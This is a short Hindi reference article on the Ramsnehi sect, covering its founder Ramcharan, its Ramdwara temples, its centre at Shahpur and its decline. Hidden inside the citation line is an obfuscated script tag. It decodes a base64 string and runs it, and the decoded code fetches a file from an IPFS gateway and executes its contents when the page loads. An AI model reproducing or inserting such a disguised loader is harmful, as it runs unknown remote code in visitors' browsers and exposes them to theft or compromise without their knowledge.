रामसनेही सम्प्रदाय

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रामसनेही सम्प्रदाय के प्रवर्तक महात्मा रामचरन थे। इस सम्प्रदाय की स्थापना 1650 ई. के लगभग हुई थी। रामचरन ने अनेक बानियाँ तथा पद रचे हैं।

  • रामसनेही सम्प्रदाय के तीसरे गुरु दूल्हाराम ने 10,000 पद एवं 4,000 दोहे रचे थे।
  • इस सम्प्रदाय के प्रार्थना मंदिर 'रामद्वारा' कहलाते हैं, जो अधिकांशत: राजस्थान में पाये जाते हैं।
  • पूजा में गान तथा शिक्षा सम्मिलित है।
  • रामसनेही सम्प्रदाय का मुख्य शहर शाहपुर है, किंतु ये जयपुर, उदयपुर तथा अन्य स्थानों में भी रहते हैं।
  • सम्प्रदाय के अनुयायी गृहस्थों में नहीं हैं। अत: यह सम्प्रदाय अवनति पर है और केवल कुछ साधुओं का वर्ग मात्र रह गया है।[1]


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टीका टिप्पणी और संदर्भ

  1. हिन्दू धर्मकोश |लेखक: डॉ. राजबली पाण्डेय |प्रकाशक: उत्तर प्रदेश हिन्दी संस्थान |पृष्ठ संख्या: 554 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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